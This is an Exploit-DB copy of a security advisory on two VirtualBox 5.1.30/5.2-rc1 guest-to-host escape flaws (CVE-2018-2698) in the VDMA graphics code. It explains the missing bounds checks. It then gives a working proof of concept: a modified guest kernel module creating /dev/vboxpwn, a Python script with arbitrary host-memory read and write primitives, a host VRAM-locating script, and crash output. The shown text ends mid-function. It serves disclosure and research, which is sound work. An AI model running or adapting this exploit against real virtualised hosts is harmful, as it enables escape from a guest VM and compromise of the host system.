Oracle VirtualBox < 5.1.30 / < 5.2-rc1 - Guest to Host Escape

EDB-ID:

43878

Author:

SecuriTeam

Type:

local

Platform:

Multiple

Published:

2018-01-24

# SSD Advisory – Oracle VirtualBox Multiple Guest to Host Escape Vulnerabilities
Source: https://blogs.securiteam.com/index.php/archives/3649

## Vulnerabilities summary
The following advisory describes two (2) guest to host escape found in Oracle VirtualBox version 5.1.30, and VirtualBox version 5.2-rc1.

## Credit
An independent security researcher, Niklas Baumstark, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
Oracle were informed of the vulnerabilities and released patches to address them.

For more details: http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html

CVE: CVE-2018-2698

## Vulnerabilities details
The vulnerabilities found in the core graphics framework (VBVA subcomponent) and affect all host operating systems.

provide an arbitrary read/write primitive in the userland VirtualBox host rocess, relative to the guest’s VRAM buffer.

The VGA device emulated by VirtualBox is associated with a certain amount of VRAM, which is mapped contiguously in both the host process running the VM and in guest kernel memory.

Parts of it are used as general-purpose shared memory segment for communication between the host and guest (host-guest shared memory interface, HGSMI).

Using this mechanism, the guest can issue certain commands to the host, for example to implement the mouse pointer integration and seamless windows features.

The guest can also tell the host to copy data around inside the VRAM on its behalf, via a subsystem called VDMA.

## Out-of-bounds read/write in vboxVDMACmdExecBpbTransfer
The VBOXVDMACMD_DMA_BPB_TRANSFER command struct looks as follows (defined in include/VBox/VBoxVideo.h:1435):

```
    typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER
    {
        uint32_t cbTransferSize;
        uint32_t fFlags;
        union
        {
            uint64_t phBuf;
            VBOXVIDEOOFFSET offVramBuf;
        } Src;
        union
        {
            uint64_t phBuf;
            VBOXVIDEOOFFSET offVramBuf;
        } Dst;
    } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;
```

When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.

On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:


```
    static int vboxVDMACmdExecBpbTransfer(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_BPB_TRANSFER pTransfer, uint32_t cbBuffer)
    {
        // ...
        uint32_t cbTransfer = pTransfer->cbTransferSize;
        uint32_t cbTransfered = 0;
        // ...
        do
        {
            uint32_t cbSubTransfer = cbTransfer;
            if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_SRC_VRAMOFFSET)
            {
                // [[ Note 1 ]]
                pvSrc  = pvRam + pTransfer->Src.offVramBuf + cbTransfered;
            }
            else
            {
                // ...
            }

            if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_DST_VRAMOFFSET)
            {
                // [[ Note 2 ]]
                pvDst  = pvRam + pTransfer->Dst.offVramBuf + cbTransfered;
            }
            else
            {
                // ...
            }

            if (RT_SUCCESS(rc))
            {
                memcpy(pvDst, pvSrc, cbSubTransfer);
                cbTransfer -= cbSubTransfer;
                cbTransfered += cbSubTransfer;
            }
            else
            {
                cbTransfer = 0; /* to break */
            }
            // ...
        } while (cbTransfer);

        if (RT_SUCCESS(rc))
            return sizeof (*pTransfer);
        return rc;
    }
```

Note 1 and 2: the guest-controlled offsets pTransfer->Src.offVramBuf and pTransfer->Dst.offVramBuf are added to the VRAM address, without any verification or bounds checks.

A memcpy is then performed with the guest-controlled size pTransfer->cbTransferSize.

This gives us a memcpy(VRAM + X, VRAM + Y, Z) primitive, where we (as the guest)can chose X, Y and Z arbitrarily.

## Out-of-bounds read/write in vboxVDMACmdExecBlt

The VBOXVDMACMD_DMA_PRESENT_BLT command struct looks as follows:


```
    typedef uint64_t VBOXVIDEOOFFSET;
    /* [...] */
    typedef struct VBOXVDMACMD_DMA_PRESENT_BLT
    {
        VBOXVIDEOOFFSET offSrc;
        VBOXVIDEOOFFSET offDst;
        VBOXVDMA_SURF_DESC srcDesc;
        VBOXVDMA_SURF_DESC dstDesc;
        VBOXVDMA_RECTL srcRectl;
        VBOXVDMA_RECTL dstRectl;
        uint32_t u32Reserved;
        uint32_t cDstSubRects;
        VBOXVDMA_RECTL aDstSubRects[1];
    } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;
```

When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_PRESENT_BLT, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.

On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:


```
    static int vboxVDMACmdExecBlt(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_PRESENT_BLT pBlt, uint32_t cbBuffer)
    {
        const uint32_t cbBlt = VBOXVDMACMD_BODY_FIELD_OFFSET(uint32_t, VBOXVDMACMD_DMA_PRESENT_BLT, aDstSubRects[pBlt->cDstSubRects]);
        Assert(cbBlt <= cbBuffer);
        if (cbBuffer < cbBlt)
            return VERR_INVALID_FUNCTION;

        /* we do not support stretching for now */
        Assert(pBlt->srcRectl.width == pBlt->dstRectl.width);
        Assert(pBlt->srcRectl.height == pBlt->dstRectl.height);
        if (pBlt->srcRectl.width != pBlt->dstRectl.width)
            return VERR_INVALID_FUNCTION;
        if (pBlt->srcRectl.height != pBlt->dstRectl.height)
            return VERR_INVALID_FUNCTION;
        Assert(pBlt->cDstSubRects);  /* [[ Note 2 ]] */

        uint8_t * pvRam = pVdma->pVGAState->vram_ptrR3;
        VBOXVDMA_RECTL updateRectl = {0, 0, 0, 0};

        if (pBlt->cDstSubRects)
        {
            /* [...] */
        }
        else
        {
            /* [[ Note 1 ]] */
            int rc = vboxVDMACmdExecBltPerform(pVdma, pvRam + pBlt->offDst, pvRam + pBlt->offSrc,
                    &pBlt->dstDesc, &pBlt->srcDesc,
                    &pBlt->dstRectl,
                    &pBlt->srcRectl);
            AssertRC(rc);
            if (!RT_SUCCESS(rc))
                return rc;

            vboxVDMARectlUnite(&updateRectl, &pBlt->dstRectl);
        }

        return cbBlt;
    }
```

At Note 1, the guest-controlled offsets pBlt->offDst and pBlt->offSrc I added to the VRAM address, without any verification. Note that the assert at Note 2 is not active in production builds, so we can reach the else-branch.

vboxVDMACmdExecBltPerform then performs a memcpy between the computed addresses:


```
    static int vboxVDMACmdExecBltPerform(PVBOXVDMAHOST pVdma, uint8_t *pvDstSurf, const uint8_t *pvSrcSurf,
                                        const PVBOXVDMA_SURF_DESC pDstDesc, const PVBOXVDMA_SURF_DESC pSrcDesc,
                                        const VBOXVDMA_RECTL * pDstRectl, const VBOXVDMA_RECTL * pSrcRectl)
    {
        /* [...] /*
        if (pDstDesc->width == pDstRectl->width
                && pSrcDesc->width == pSrcRectl->width
                && pSrcDesc->width == pDstDesc->width)
        {
            Assert(!pDstRectl->left);
            Assert(!pSrcRectl->left);
            uint32_t cbOff = pDstDesc->pitch * pDstRectl->top;
            uint32_t cbSize = pDstDesc->pitch * pDstRectl->height;
            memcpy(pvDstSurf + cbOff, pvSrcSurf + cbOff, cbSize);
        }
        else
        {
            /* [...] /*
        }
        return VINF_SUCCESS;
    }
```

By setting pDstDesc->pitch = 1, pDstRectl->top = 0, we can get cbOff = 0 and cbSize = pDstRectl->height (which we also control as the guest).

This ends up in a call to memcpy(VRAM + X, VRAM + Y, Z), where we can chose X, Y and Z arbitrarily.

## Proof of Concept

We will modified vboxvideo kernel module to trigger the bug.

The modified module will allow us to creates a device /dev/vboxpwn which can be used to send arbitrary VBVA commands via its ioctl() handler.

In this PoC we will use 64-bit Ubuntu VM.

First we will download the VBoxGuestAdditions:


```
    $ wget http://download.virtualbox.org/virtualbox/5.1.30/VBoxGuestAdditions_5.1.30.iso
    $ sudo mount -o loop -t iso9660 VBoxGuestAdditions_5.1.30.iso /mnt
    $ sudo /mnt/VBoxLinuxAdditions.run
```

Then we will upload the modified files – HGSMIBase.c and 70-vboxpwn.rules to the home directory of the VM and rebuild the extensions with the modified code:

```
    $ sudo cp 70-vboxpwn.rules /etc/udev/rules.d
    $ sudo cp HGSMIBase.c /usr/src/vboxguest-5.1.30/vboxvideo
    $ sudo /mnt/VBoxLinuxAdditions.run --keep --target additions --noexec
    $ sudo additions/vboxadd setup
    $ sudo reboot
```

There should now be a new device called /dev/vboxpwn with 0666 permissions.

Now create the following Python script called poc.py:

```
    import os, fcntl, struct, array, sys

    fd = os.open('/dev/vboxpwn', os.O_NONBLOCK | os.O_RDWR)

    # 4/5 = BPB_TRANSFER primitive, 1/2 = PRESENT_BLT primitive
    read_type = 4
    write_type = 5

    def read(offset, size):
        data = ''
        data += struct.pack("<IIq", 4, size, offset)
        data += '\0'*size
        data = array.array('b', data)
        fcntl.ioctl(fd, len(data), data, 1)
        return data[16:]

    def write(offset, payload):
        data = ''
        data += struct.pack("<IIq", 5, len(payload), offset)
        data += payload
        fcntl.ioctl(fd, len(data), data)

    def get_vram_size():
        data = ''
        data += struct.pack("<IIq", 6, 0, 0)
        data += '\0'*4
        data = array.array('b', data)
        fcntl.ioctl(fd, len(data), data)
        return struct.unpack('<I', data[16:])[0]

    vram_sz = get_vram_size()

    import code
    code.interact(local=locals())
```

If we will run it on a Linux host we will get the following:

```
    $ python2 poc.py
    [...]
    >>> read(0, 0x10).tostring()
    'U,\\fU,\\fU,\\fU,\\f'
    >>> read(vram_sz, 0x10).tostring()
    '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    >>> read(-0x1000, 0x10).tostring()
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```

The second read returns the header of the shared library mapped directly after the VRAM.

Of course we might crash the VM if we hit unmapped memory.

For demonstrating an absolute read/write, we need the VRAM base address on the host.

The findvram.py script find the VRAM base address – given the configured VRAM size.

In our case the VRAM is 33 MiB large.

The first argument is the PID of the host process (as shown above).

Also grab some absolute address you want to leak:

```
    $ sudo python2 findvram.py 23791 33
    VRAM @ 0x00007f1651c75000
    $ sudo cat /proc/23791/maps | grep libcurl | head -n 1
    7f168969c000-7f1689716000 r-xp 00000000 00:15 9032634                    /usr/lib/libcurl.so.4.4.0
```

Back to the VM, we will read the ELF header of this library:

```
 $ python2 poc.py
    [...]
    >>> vram = 0x00007f1651c75000
    >>> read(0x7f168969c000 - vram, 0x10).tostring()
    '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```    

And now we will crash it by writing data to an unmapped address (make sure a debugger is attached):

```
>>> write(0x414141414141 - vram, 'BBBB')
```

The crash:

```
    Thread 7 "EMT" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7f1680b8e700 (LWP 23801)]
    0x00007f168a87172a in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
    (gdb) x/1i $rip
    => 0x7f168a87172a <__memmove_avx_unaligned_erms+154>:   mov    %ecx,-0x4(%rdi,%rdx,1)
    (gdb) i r ecx rdi rdx
    ecx            0x42424242   1111638594
    rdi            0x414141414141   71748523475265
    rdx            0x4  4
```

findvram.py

```
import sys

if len(sys.argv) != 3:
    print 'Usage: sudo python2 findvram.py <pid> <VRAM size in MB>'
    print
    print 'Finds the VRAM page on a Linux host by inspecting /proc/<pid>/maps and '
    print 'looking for a properly sized map. Works best if an odd amount of VRAM is'
    print 'configured, like 33 MB instead of 32.'
    exit()

pid = int(sys.argv[1])
sz = int(sys.argv[2])*1024*1024

with open('/proc/%d/maps'%pid) as f:
    for line in f:
        start, end = [int(x,16) for x in line.split()[0].split('-')]
        if end-start == sz:
            print 'VRAM @ 0x%016x - 0x%016x' % (start, end)
```

70-vboxpwn.rules

```
KERNEL=="vboxpwn", NAME="vboxpwn", OWNER="vboxadd", MODE="0666"
```

HGSMIBase.c

```
/* $Id: HGSMIBase.cpp $ */
/** @file
 * VirtualBox Video driver, common code - HGSMI initialisation and helper
 * functions.
 */

/*
 * Copyright (C) 2006-2016 Oracle Corporation
 *
 * This file is part of VirtualBox Open Source Edition (OSE), as
 * available from http://www.virtualbox.org. This file is free software;
 * you can redistribute it and/or modify it under the terms of the GNU
 * General Public License (GPL) as published by the Free Software
 * Foundation, in version 2 as it comes in the "COPYING" file of the
 * VirtualBox OSE distribution. VirtualBox OSE is distributed in the
 * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
 */

#include <VBox/VBoxVideoGuest.h>
#include <VBox/VBoxVideo.h>
#include <VBox/VBoxGuest.h>
#include <VBox/Hardware/VBoxVideoVBE.h>
#include <VBox/VMMDev.h>

#include <iprt/asm.h>
#include <iprt/log.h>
#include <iprt/string.h>

#include <linux/printk.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

/** Send completion notification to the host for the command located at offset
 * @a offt into the host command buffer. */
static void HGSMINotifyHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx, HGSMIOFFSET offt)
{
    VBoxVideoCmnPortWriteUlong(pCtx->port, offt);
}


/**
 * Inform the host that a command has been handled.
 *
 * @param  pCtx   the context containing the heap to be used
 * @param  pvMem  pointer into the heap as mapped in @a pCtx to the command to
 *                be completed
 */
DECLHIDDEN(void) VBoxHGSMIHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx,
                                          void *pvMem)
{
    HGSMIBUFFERHEADER *pHdr = HGSMIBufferHeaderFromData(pvMem);
    HGSMIOFFSET offMem = HGSMIPointerToOffset(&pCtx->areaCtx, pHdr);
    Assert(offMem != HGSMIOFFSET_VOID);
    if(offMem != HGSMIOFFSET_VOID)
    {
        HGSMINotifyHostCmdComplete(pCtx, offMem);
    }
}


/** Submit an incoming host command to the appropriate handler. */
static void hgsmiHostCmdProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx,
                                HGSMIOFFSET offBuffer)
{
    int rc = HGSMIBufferProcess(&pCtx->areaCtx, &pCtx->channels, offBuffer);
    Assert(!RT_FAILURE(rc));
    if(RT_FAILURE(rc))
    {
        /* failure means the command was not submitted to the handler for some reason
         * it's our responsibility to notify its completion in this case */
        HGSMINotifyHostCmdComplete(pCtx, offBuffer);
    }
    /* if the cmd succeeded it's responsibility of the callback to complete it */
}

/** Get the next command from the host. */
static HGSMIOFFSET hgsmiGetHostBuffer(PHGSMIHOSTCOMMANDCONTEXT pCtx)
{
    return VBoxVideoCmnPortReadUlong(pCtx->port);
}


/** Get and handle the next command from the host. */
static void hgsmiHostCommandQueryProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx)
{
    HGSMIOFFSET offset = hgsmiGetHostBuffer(pCtx);
    AssertReturnVoid(offset != HGSMIOFFSET_VOID);
    hgsmiHostCmdProcess(pCtx, offset);
}


/** Drain the host command queue. */
DECLHIDDEN(void) VBoxHGSMIProcessHostQueue(PHGSMIHOSTCOMMANDCONTEXT pCtx)
{
    while (pCtx->pfHostFlags->u32HostFlags & HGSMIHOSTFLAGS_COMMANDS_PENDING)
    {
        if (!ASMAtomicCmpXchgBool(&pCtx->fHostCmdProcessing, true, false))
            return;
        hgsmiHostCommandQueryProcess(pCtx);
        ASMAtomicWriteBool(&pCtx->fHostCmdProcessing, false);
    }
}


/** Detect whether HGSMI is supported by the host. */
DECLHIDDEN(bool) VBoxHGSMIIsSupported(void)
{
    uint16_t DispiId;

    VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_INDEX, VBE_DISPI_INDEX_ID);
    VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_DATA, VBE_DISPI_ID_HGSMI);

    DispiId = VBoxVideoCmnPortReadUshort(VBE_DISPI_IOPORT_DATA);

    return (DispiId == VBE_DISPI_ID_HGSMI);
}


/**
 * Allocate and initialise a command descriptor in the guest heap for a
 * guest-to-host command.
 *
 * @returns  pointer to the descriptor's command data buffer
 * @param  pCtx     the context containing the heap to be used
 * @param  cbData   the size of the command data to go into the descriptor
 * @param  u8Ch     the HGSMI channel to be used, set to the descriptor
 * @param  u16Op    the HGSMI command to be sent, set to the descriptor
 */
DECLHIDDEN(void *) VBoxHGSMIBufferAlloc(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                        HGSMISIZE cbData,
                                        uint8_t u8Ch,
                                        uint16_t u16Op)
{
#ifdef VBOX_WDDM_MINIPORT
    return VBoxSHGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op);
#else
    return HGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op);
#endif
}


/**
 * Free a descriptor allocated by @a VBoxHGSMIBufferAlloc.
 *
 * @param  pCtx      the context containing the heap used
 * @param  pvBuffer  the pointer returned by @a VBoxHGSMIBufferAlloc
 */
DECLHIDDEN(void) VBoxHGSMIBufferFree(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                     void *pvBuffer)
{
#ifdef VBOX_WDDM_MINIPORT
    VBoxSHGSMIHeapFree (&pCtx->heapCtx, pvBuffer);
#else
    HGSMIHeapFree (&pCtx->heapCtx, pvBuffer);
#endif
}


/**
 * Submit a command descriptor allocated by @a VBoxHGSMIBufferAlloc.
 *
 * @param  pCtx      the context containing the heap used
 * @param  pvBuffer  the pointer returned by @a VBoxHGSMIBufferAlloc
 */
DECLHIDDEN(int) VBoxHGSMIBufferSubmit(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                      void *pvBuffer)
{
    /* Initialize the buffer and get the offset for port IO. */
    HGSMIOFFSET offBuffer = HGSMIHeapBufferOffset (HGSMIGUESTCMDHEAP_GET(&pCtx->heapCtx), pvBuffer);

    Assert(offBuffer != HGSMIOFFSET_VOID);
    if (offBuffer != HGSMIOFFSET_VOID)
    {
        /* Submit the buffer to the host. */
        VBoxVideoCmnPortWriteUlong(pCtx->port, offBuffer);
        /* Make the compiler aware that the host has changed memory. */
        ASMCompilerBarrier();
        return VINF_SUCCESS;
    }

    return VERR_INVALID_PARAMETER;
}


/** Inform the host of the location of the host flags in VRAM via an HGSMI
 * command. */
static int vboxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                        HGSMIOFFSET offLocation)
{
    HGSMIBUFFERLOCATION *p;
    int rc = VINF_SUCCESS;

    /* Allocate the IO buffer. */
    p = (HGSMIBUFFERLOCATION *)VBoxHGSMIBufferAlloc(pCtx,
                                              sizeof(HGSMIBUFFERLOCATION),
                                              HGSMI_CH_HGSMI,
                                              HGSMI_CC_HOST_FLAGS_LOCATION);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        p->offLocation = offLocation;
        p->cbLocation  = sizeof(HGSMIHOSTFLAGS);
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    return rc;
}


/**
 * Inform the host of the location of the host flags in VRAM via an HGSMI
 * command.
 * @returns  IPRT status value.
 * @returns  VERR_NOT_IMPLEMENTED  if the host does not support the command.
 * @returns  VERR_NO_MEMORY        if a heap allocation fails.
 * @param    pCtx                  the context of the guest heap to use.
 * @param    offLocation           the offset chosen for the flags withing guest
 *                                 VRAM.
 */
DECLHIDDEN(int) VBoxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                             HGSMIOFFSET offLocation)
{
    return vboxHGSMIReportFlagsLocation(pCtx, offLocation);
}


/** Notify the host of HGSMI-related guest capabilities via an HGSMI command.
 */
static int vboxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                 uint32_t fCaps)
{
    VBVACAPS *pCaps;
    int rc = VINF_SUCCESS;

    /* Allocate the IO buffer. */
    pCaps = (VBVACAPS *)VBoxHGSMIBufferAlloc(pCtx,
                                       sizeof(VBVACAPS), HGSMI_CH_VBVA,
                                       VBVA_INFO_CAPS);

    if (pCaps)
    {
        /* Prepare data to be sent to the host. */
        pCaps->rc    = VERR_NOT_IMPLEMENTED;
        pCaps->fCaps = fCaps;
        rc = VBoxHGSMIBufferSubmit(pCtx, pCaps);
        if (RT_SUCCESS(rc))
        {
            AssertRC(pCaps->rc);
            rc = pCaps->rc;
        }
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, pCaps);
    }
    else
        rc = VERR_NO_MEMORY;
    return rc;
}


/**
 * Notify the host of HGSMI-related guest capabilities via an HGSMI command.
 * @returns  IPRT status value.
 * @returns  VERR_NOT_IMPLEMENTED  if the host does not support the command.
 * @returns  VERR_NO_MEMORY        if a heap allocation fails.
 * @param    pCtx                  the context of the guest heap to use.
 * @param    fCaps                 the capabilities to report, see VBVACAPS.
 */
DECLHIDDEN(int) VBoxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                      uint32_t fCaps)
{
    return vboxHGSMISendCapsInfo(pCtx, fCaps);
}


/** Tell the host about the location of the area of VRAM set aside for the host
 * heap. */
static int vboxHGSMIReportHostArea(PHGSMIGUESTCOMMANDCONTEXT pCtx,
                                   uint32_t u32AreaOffset, uint32_t u32AreaSize)
{
    VBVAINFOHEAP *p;
    int rc = VINF_SUCCESS;

    /* Allocate the IO buffer. */
    p = (VBVAINFOHEAP *)VBoxHGSMIBufferAlloc(pCtx,
                                       sizeof (VBVAINFOHEAP), HGSMI_CH_VBVA,
                                       VBVA_INFO_HEAP);
    if (p)
    {
        /* Prepare data to be sent to the host. */
        p->u32HeapOffset = u32AreaOffset;
        p->u32HeapSize   = u32AreaSize;
        rc = VBoxHGSMIBufferSubmit(pCtx, p);
        /* Free the IO buffer. */
        VBoxHGSMIBufferFree(pCtx, p);
    }
    else
        rc = VERR_NO_MEMORY;
    return rc;
}


/**
 * Get the information needed to map the basic communication structures in
 * device memory into our address space.  All pointer parameters are optional.
 *
 * @param  cbVRAM               how much video RAM is allocated to the device
 * @param  poffVRAMBaseMapping  where to save the offset from the start of the
 *                              device VRAM of the whole area to map
 * @param  pcbMapping           where to save the mapping size
 * @param  poffGuestHeapMemory  where to save the offset into the mapped area
 *                              of the guest heap backing memory
 * @param  pcbGuestHeapMemory   where to save the size of the guest heap
 *                              backing memory
 * @param  poffHostFlags        where to save the offset into the mapped area
 *                              of the host flags
 */
DECLHIDDEN(void) VBoxHGSMIGetBaseMappingInfo(uint32_t cbVRAM,
                                             uint32_t *poffVRAMBaseMapping,
                                             uint32_t *pcbMapping,
                                             uint32_t *poffGuestHeapMemory,
                                             uint32_t *pcbGuestHeapMemory,
                                             uint32_t *poffHostFlags)
{
    AssertPtrNullReturnVoid(poffVRAMBaseMapping);
    AssertPtrNullReturnVoid(pcbMapping);
    AssertPtrNullReturnVoid(poffGuestHeapMemory);
    AssertPtrNullReturnVoid(pcbGuestHeapMemory);
    AssertPtrNullReturnVoid(poffHostFlags);
    if (poffVRAMBaseMapping)
        *poffVRAMBaseMapping = cbVRAM - VBVA_ADAPTER_INFORMATION_SIZE;
    if (pcbMapping)
        *pcbMapping = VBVA_ADAPTER_INFORMATION_SIZE;
    if (poffGuestHeapMemory)
        *poffGuestHeapMemory = 0;
    if (pcbGuestHeapMemory)
        *pcbGuestHeapMemory =   VBVA_ADAPTER_INFORMATION_SIZE
                              - sizeof(HGSMIHOSTFLAGS);
    if (poffHostFlags)
        *poffHostFlags =   VBVA_ADAPTER_INFORMATION_SIZE
                         - sizeof(HGSMIHOSTFLAGS);
}


typedef struct VBOXVDMACBUF_DR
{
    uint16_t fFlags;
    uint16_t cbBuf;
    /* RT_SUCCESS()     - on success
     * VERR_INTERRUPTED - on preemption
     * VERR_xxx         - on error */
    int32_t  rc;
    union
    {
        uint64_t phBuf;
        VBOXVIDEOOFFSET offVramBuf;
    } Location;
    uint64_t aGuestData[7];
} VBOXVDMACBUF_DR, *PVBOXVDMACBUF_DR;

typedef struct VBOXVDMACMD
{
    VBOXVDMACMD_TYPE enmType;
    uint32_t u32CmdSpecific;
} VBOXVDMACMD, *PVBOXVDMACMD;

// Data structures for BPB_TRANSFER
typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER
{
    uint32_t cbTransferSize;
    uint32_t fFlags;
    union
    {
        uint64_t phBuf;
        VBOXVIDEOOFFSET offVramBuf;
    } Src;
    union
    {
        uint64_t phBuf;
        VBOXVIDEOOFFSET offVramBuf;
    } Dst;
} VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;

// Data structures for PRESENT_BLT
typedef enum
{
    VBOXVDMA_PIXEL_FORMAT_UNKNOWN      =  0,
    VBOXVDMA_PIXEL_FORMAT_R8G8B8       = 20,
    VBOXVDMA_PIXEL_FORMAT_A8R8G8B8     = 21,
    VBOXVDMA_PIXEL_FORMAT_X8R8G8B8     = 22,
    VBOXVDMA_PIXEL_FORMAT_R5G6B5       = 23,
    VBOXVDMA_PIXEL_FORMAT_X1R5G5B5     = 24,
    VBOXVDMA_PIXEL_FORMAT_A1R5G5B5     = 25,
    VBOXVDMA_PIXEL_FORMAT_A4R4G4B4     = 26,
    VBOXVDMA_PIXEL_FORMAT_R3G3B2       = 27,
    VBOXVDMA_PIXEL_FORMAT_A8           = 28,
    VBOXVDMA_PIXEL_FORMAT_A8R3G3B2     = 29,
    VBOXVDMA_PIXEL_FORMAT_X4R4G4B4     = 30,
    VBOXVDMA_PIXEL_FORMAT_A2B10G10R10  = 31,
    VBOXVDMA_PIXEL_FORMAT_A8B8G8R8     = 32,
    VBOXVDMA_PIXEL_FORMAT_X8B8G8R8     = 33,
    VBOXVDMA_PIXEL_FORMAT_G16R16       = 34,
    VBOXVDMA_PIXEL_FORMAT_A2R10G10B10  = 35,
    VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36,
    VBOXVDMA_PIXEL_FORMAT_A8P8         = 40,
    VBOXVDMA_PIXEL_FORMAT_P8           = 41,
    VBOXVDMA_PIXEL_FORMAT_L8           = 50,
    VBOXVDMA_PIXEL_FORMAT_A8L8         = 51,
    VBOXVDMA_PIXEL_FORMAT_A4L4         = 52,
    VBOXVDMA_PIXEL_FORMAT_V8U8         = 60,
    VBOXVDMA_PIXEL_FORMAT_L6V5U5       = 61,
    VBOXVDMA_PIXEL_FORMAT_X8L8V8U8     = 62,
    VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8     = 63,
    VBOXVDMA_PIXEL_FORMAT_V16U16       = 64,
    VBOXVDMA_PIXEL_FORMAT_W11V11U10    = 65,
    VBOXVDMA_PIXEL_FORMAT_A2W10V10U10  = 67
} VBOXVDMA_PIXEL_FORMAT;

typedef struct VBOXVDMA_SURF_DESC
{
    uint32_t width;
    uint32_t height;
    VBOXVDMA_PIXEL_FORMAT format;
    uint32_t bpp;
    uint32_t pitch;
    uint32_t fFlags;
} VBOXVDMA_SURF_DESC, *PVBOXVDMA_SURF_DESC;

typedef struct VBOXVDMA_RECTL
{
    int16_t left;
    int16_t top;
    uint16_t width;
    uint16_t height;
} VBOXVDMA_RECTL, *PVBOXVDMA_RECTL;

typedef struct VBOXVDMACMD_DMA_PRESENT_BLT
{
    VBOXVIDEOOFFSET offSrc;
    VBOXVIDEOOFFSET offDst;
    VBOXVDMA_SURF_DESC srcDesc;
    VBOXVDMA_SURF_DESC dstDesc;
    VBOXVDMA_RECTL srcRectl;
    VBOXVDMA_RECTL dstRectl;
    uint32_t u32Reserved;
    uint32_t cDstSubRects;
    VBOXVDMA_RECTL aDstSubRects[1];
} VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;


PHGSMIGUESTCOMMANDCONTEXT g_hgsmiContext;
char* g_vram;

typedef struct PwnRequest {
    uint32_t type;   // 1/4 == read, 2/5 == write, 3 == custom VBVA command,
                     // 6 == get VRAM size
    uint32_t size;
    uint64_t offset;
    char data[1];
} PwnRequest;

static long pwnIOCtl(struct file *pFilp, unsigned int uCmd, unsigned long ulArg) {
    printk("Handling ioctl()\n");
    uint32_t size = uCmd;
    PwnRequest* req = (PwnRequest*)ulArg;

    if (size < 16) {
        printk("Request buffer too small (is=%d)\n", size);
        return -EINVAL;
    }

    if (req->type == 1) {
        char *p;
        printk("Preparing VMDA command for reading %u bytes (offset=%lu).\n", req->size, req->offset);

        uint32_t header_size =
            32 +
            sizeof(VBOXVDMACBUF_DR) +
            sizeof(VBOXVDMACMD) +
            sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);

        p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
                                         header_size + req->size,
                                         HGSMI_CH_VBVA,
                                         11 /*VBVA_VDMA_CMD*/);
        if (!p) {
            printk("Failed to allocate HGSMI memory\n");
            return -ENOMEM;
        }

        memset(p + header_size, 0x41, req->size);

        PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
        pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/;
        pCmd->cbBuf = 0xffff;

        PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR));
        pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */;

        PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD));
        pBlt->cDstSubRects = 0;
        pBlt->offSrc = req->offset;
        pBlt->offDst = p - g_vram + header_size;

        pBlt->srcRectl.width = 1;
        pBlt->srcRectl.height = req->size;
        pBlt->srcRectl.left = 0;
        pBlt->srcRectl.top = 0;

        pBlt->dstRectl.width = 1;
        pBlt->dstRectl.height = req->size;
        pBlt->dstRectl.left = 0;
